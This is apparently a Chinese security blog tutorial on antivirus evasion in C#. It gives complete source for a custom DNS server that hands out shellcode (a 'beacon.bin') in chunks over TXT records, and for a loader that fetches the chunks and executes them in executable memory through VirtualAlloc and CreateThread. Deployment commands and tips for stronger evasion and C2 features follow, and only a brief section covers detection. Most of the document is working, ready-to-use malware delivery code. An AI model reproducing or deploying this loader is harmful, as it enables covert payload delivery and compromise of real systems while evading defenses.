C#免杀之自实现DNS服务器传输shellcode
字数 1508 2025-08-10 08:28:40

C#免杀之自实现DNS服务器传输Shellcode技术详解

技术原理概述

本技术利用DNS协议作为隐蔽通道传输Shellcode,相比HTTP协议具有更好的隐蔽性。通过自建DNS服务器和客户端实现Shellcode的分片传输和内存加载执行,绕过传统安全检测机制。

系统设计

传输规范设计

  1. 长度查询:客户端首先查询Shellcode总长度,格式为length.dns.test.local
  2. 数据分片查询:客户端分片请求Shellcode数据,格式为r.[已接收字节数].[请求字节数].dns.test.local
  3. 响应格式:服务器使用DNS TXT记录返回数据,支持Base64编码的Shellcode分片

工作流程

  1. 服务器加载Shellcode二进制文件
  2. 客户端查询Shellcode总长度
  3. 客户端分片请求Shellcode数据
  4. 服务器返回对应分片的Base64编码数据
  5. 客户端组合所有分片并在内存中执行

代码实现详解

服务器端实现

using ARSoft.Tools.Net.Dns;
using System;
using System.IO;
using System.Linq;
using System.Net;

namespace SharpDNS
{
    class Program
    {
        static Byte[] bytes; // 存储Shellcode的字节数组
        
        static void Main(string[] args)
        {
            if (args.Length < 1)
            {
                Console.WriteLine("Usage: SharpDNS.exe beacon.bin");
                return;
            }
            
            // 读取Shellcode文件
            bytes = ReadBeacon(args[0]);

            // 创建并启动DNS服务器
            using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
            {
                server.Start();
                Console.WriteLine("DNS Server Started.");
                Console.ReadLine();
            }
        }

        // 处理DNS查询的核心方法
        static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, 
                                          System.Net.Sockets.ProtocolType protocol)
        {
            message.IsQuery = false;
            DnsMessage query = message as DnsMessage;
            string domain = query.Questions[0].Name;
            string[] sp = domain.Split('.');
            string command = sp[0];

            // 处理长度查询请求
            if (command.Equals("length"))
            {
                Console.WriteLine("Received Length Query");
                query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            
            // 处理数据分片请求
            if (command.Equals("r"))
            {
                Console.WriteLine(domain);
                try
                {
                    int hasReceive = int.Parse(sp[1]);
                    int requireReceive = int.Parse(sp[2]);
                    Console.WriteLine($"Received: {hasReceive}, Requested: {requireReceive}");
                    
                    // 获取请求的数据分片
                    Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
                    string sendString = Convert.ToBase64String(sendByte);
                    Console.WriteLine(sendString);
                    
                    // 添加TXT记录响应
                    query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
                message.ReturnCode = ReturnCode.NoError;
                return message;
            }
            
            message.ReturnCode = ReturnCode.Refused;
            return message;
        }

        // 读取Shellcode文件
        static Byte[] ReadBeacon(string path)
        {
            Byte[] b = File.ReadAllBytes(path);
            Console.WriteLine($"Shellcode File Length: {b.Length}");
            return b;
        }
    }
}

客户端实现

using ARSoft.Tools.Net.Dns;
using System;
using System.Collections.Generic;
using System.Net;
using System.Runtime.InteropServices;

namespace DnsLoader
{
    class Program
    {
        static string dns; // DNS服务器地址
        
        static void Main(string[] args)
        {
            // 参数检查
            if (args.Length < 3)
            {
                Console.WriteLine("Usage: DnsLoader.exe [domain] [dns_server] [chunk_size]");
                return;
            }
            
            string domain = args[0];
            dns = args[1];
            int chunkSize = int.Parse(args[2]);
            
            // 查询Shellcode总长度
            long len = QueryLength(domain);
            if (len == 0)
            {
                Console.WriteLine("Failed to get shellcode length");
                return;
            }

            List<byte> bytes = new List<byte>();
            
            // 分片获取Shellcode
            for (int i = 0; i < len; i += chunkSize)
            {
                int hasReceive = bytes.Count;
                if (hasReceive >= len)
                {
                    Console.WriteLine("Transfer completed");
                    break;
                }
                
                // 计算本次请求的字节数
                int currentChunk = (int)Math.Min(chunkSize, len - hasReceive);
                
                // 查询数据分片
                string rev = ClientQuery($"r.{hasReceive}.{currentChunk}.{domain}");
                if (rev == null)
                {
                    Console.WriteLine("DNS query failed");
                    return;
                }
                
                // 解码并存储数据
                byte[] b = Convert.FromBase64String(rev);
                bytes.AddRange(b);
            }

            Console.WriteLine($"Total bytes received: {bytes.Count}");
            
            // 执行Shellcode
            if (bytes.Count > 0)
            {
                Inject(bytes.ToArray());
            }
        }

        // 查询Shellcode总长度
        public static long QueryLength(string domain)
        {
            long len = 0;
            string l = ClientQuery("length." + domain);
            bool success = Int64.TryParse(l, out len);
            return success ? len : 0;
        }

        // 执行DNS查询
        public static String ClientQuery(string domain)
        {
            List<IPAddress> dnss = new List<IPAddress>();
            dnss.AddRange(Dns.GetHostAddresses(dns));
            
            var dnsClient = new DnsClient(dnss, 60);
            DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
            
            if ((dnsMessage == null) || 
                ((dnsMessage.ReturnCode != ReturnCode.NoError) && 
                 (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
            {
                Console.WriteLine("DNS request failed");
                return null;
            }
            
            // 提取TXT记录数据
            foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
            {
                TxtRecord txtRecord = dnsRecord as TxtRecord;
                if (txtRecord != null)
                {
                    return txtRecord.TextData.ToString();
                }
            }
            return null;
        }

        // Shellcode注入方法
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, 
                                               UInt32 flAllocationType, UInt32 flProtect);
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize,
                                               UInt32 lpStartAddress, IntPtr param, 
                                               UInt32 dwCreationFlags, ref UInt32 lpThreadId);
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        
        public static void Inject(Byte[] buffer)
        {
            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            
            // 分配内存
            UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, 
                                         MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            
            // 复制Shellcode到内存
            Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
            
            // 创建线程执行Shellcode
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0x0000;
            IntPtr pinfo = IntPtr.Zero;
            
            hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
            WaitForSingleObject(hThread, 0xffffffff);
        }
    }
}

部署与使用指南

服务器部署

  1. 编译服务器端程序
  2. 准备Shellcode二进制文件(beacon.bin)
  3. 运行服务器:
    SharpDNS.exe beacon.bin
    

客户端使用

  1. 编译客户端程序
  2. 设置DNS解析记录,将测试域名指向服务器IP
  3. 运行客户端:
    DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000
    
    参数说明:
    • 第一个参数:查询的域名基础
    • 第二个参数:DNS服务器地址
    • 第三个参数:每次请求的字节数(建议2000左右)

DNS记录配置

需要在DNS服务商处配置以下记录:

  1. 将测试域名(如dns.test.local)的NS记录指向自建DNS服务器
  2. 确保TXT记录查询能够到达自建DNS服务器

技术要点分析

  1. 隐蔽通道选择

    • DNS协议在企业环境中通常不受严格限制
    • DNS查询行为看起来像正常的域名解析
    • 使用TXT记录传输数据较为隐蔽
  2. 分片传输机制

    • 大文件分片传输,避免单次查询数据量过大
    • 支持断点续传,通过已接收字节数控制
    • Base64编码确保二进制数据可靠传输
  3. 内存加载技术

    • 使用VirtualAlloc分配可执行内存
    • CreateThread创建新线程执行Shellcode
    • 全程无文件落地,规避传统杀毒检测
  4. 免杀考量

    • 关键API调用(VirtualAlloc等)可能被行为检测
    • 可结合其他技术如API混淆、间接调用等增强免杀
    • 传输层与执行层分离,增加检测难度

进阶思考与改进方向

  1. 协议选择优化

    • 考虑使用ICMP、HTTPS等其他协议作为传输通道
    • 实现多协议自动切换,增强隐蔽性和可靠性
  2. Shellcode加载改进

    • 使用更隐蔽的内存分配方式(如HeapAlloc)
    • 实现进程注入而非直接创建线程
    • 添加Shellcode解密/解压缩层
  3. 传输协议增强

    • 添加传输加密层,防止中间人分析
    • 实现心跳机制和重试逻辑
    • 支持多DNS服务器负载均衡
  4. C2功能扩展

    • 实现完整的命令与控制功能
    • 添加文件上传/下载能力
    • 支持多节点通信

防御检测建议

针对此类攻击,防御方可采取以下措施:

  1. DNS流量监控

    • 检测异常的TXT记录查询模式
    • 监控过长的DNS响应数据
    • 分析非常规子域名结构
  2. 内存行为检测

    • 监控可疑的内存分配模式
    • 检测直接的内存执行行为
    • 分析线程创建与内存保护属性变化
  3. 终端行为分析

    • 检测连续的大量DNS查询
    • 监控进程的异常网络行为
    • 分析不匹配的进程网络活动

总结

本技术通过自建DNS服务器实现了Shellcode的隐蔽传输和内存加载,有效规避了传统基于文件特征的检测。关键在于DNS协议的选择、分片传输机制的设计以及内存执行技术的结合。开发者可在此基础上进一步优化隐蔽性和功能性,防御者也应关注非常规协议的异常使用模式。

C#免杀之自实现DNS服务器传输Shellcode技术详解 技术原理概述 本技术利用DNS协议作为隐蔽通道传输Shellcode,相比HTTP协议具有更好的隐蔽性。通过自建DNS服务器和客户端实现Shellcode的分片传输和内存加载执行,绕过传统安全检测机制。 系统设计 传输规范设计 长度查询 :客户端首先查询Shellcode总长度,格式为 length.dns.test.local 数据分片查询 :客户端分片请求Shellcode数据,格式为 r.[已接收字节数].[请求字节数].dns.test.local 响应格式 :服务器使用DNS TXT记录返回数据,支持Base64编码的Shellcode分片 工作流程 服务器加载Shellcode二进制文件 客户端查询Shellcode总长度 客户端分片请求Shellcode数据 服务器返回对应分片的Base64编码数据 客户端组合所有分片并在内存中执行 代码实现详解 服务器端实现 客户端实现 部署与使用指南 服务器部署 编译服务器端程序 准备Shellcode二进制文件(beacon.bin) 运行服务器: 客户端使用 编译客户端程序 设置DNS解析记录,将测试域名指向服务器IP 运行客户端: 参数说明: 第一个参数:查询的域名基础 第二个参数:DNS服务器地址 第三个参数:每次请求的字节数(建议2000左右) DNS记录配置 需要在DNS服务商处配置以下记录: 将测试域名(如dns.test.local)的NS记录指向自建DNS服务器 确保TXT记录查询能够到达自建DNS服务器 技术要点分析 隐蔽通道选择 : DNS协议在企业环境中通常不受严格限制 DNS查询行为看起来像正常的域名解析 使用TXT记录传输数据较为隐蔽 分片传输机制 : 大文件分片传输,避免单次查询数据量过大 支持断点续传,通过已接收字节数控制 Base64编码确保二进制数据可靠传输 内存加载技术 : 使用VirtualAlloc分配可执行内存 CreateThread创建新线程执行Shellcode 全程无文件落地,规避传统杀毒检测 免杀考量 : 关键API调用(VirtualAlloc等)可能被行为检测 可结合其他技术如API混淆、间接调用等增强免杀 传输层与执行层分离,增加检测难度 进阶思考与改进方向 协议选择优化 : 考虑使用ICMP、HTTPS等其他协议作为传输通道 实现多协议自动切换,增强隐蔽性和可靠性 Shellcode加载改进 : 使用更隐蔽的内存分配方式(如HeapAlloc) 实现进程注入而非直接创建线程 添加Shellcode解密/解压缩层 传输协议增强 : 添加传输加密层,防止中间人分析 实现心跳机制和重试逻辑 支持多DNS服务器负载均衡 C2功能扩展 : 实现完整的命令与控制功能 添加文件上传/下载能力 支持多节点通信 防御检测建议 针对此类攻击,防御方可采取以下措施: DNS流量监控 : 检测异常的TXT记录查询模式 监控过长的DNS响应数据 分析非常规子域名结构 内存行为检测 : 监控可疑的内存分配模式 检测直接的内存执行行为 分析线程创建与内存保护属性变化 终端行为分析 : 检测连续的大量DNS查询 监控进程的异常网络行为 分析不匹配的进程网络活动 总结 本技术通过自建DNS服务器实现了Shellcode的隐蔽传输和内存加载,有效规避了传统基于文件特征的检测。关键在于DNS协议的选择、分片传输机制的设计以及内存执行技术的结合。开发者可在此基础上进一步优化隐蔽性和功能性,防御者也应关注非常规协议的异常使用模式。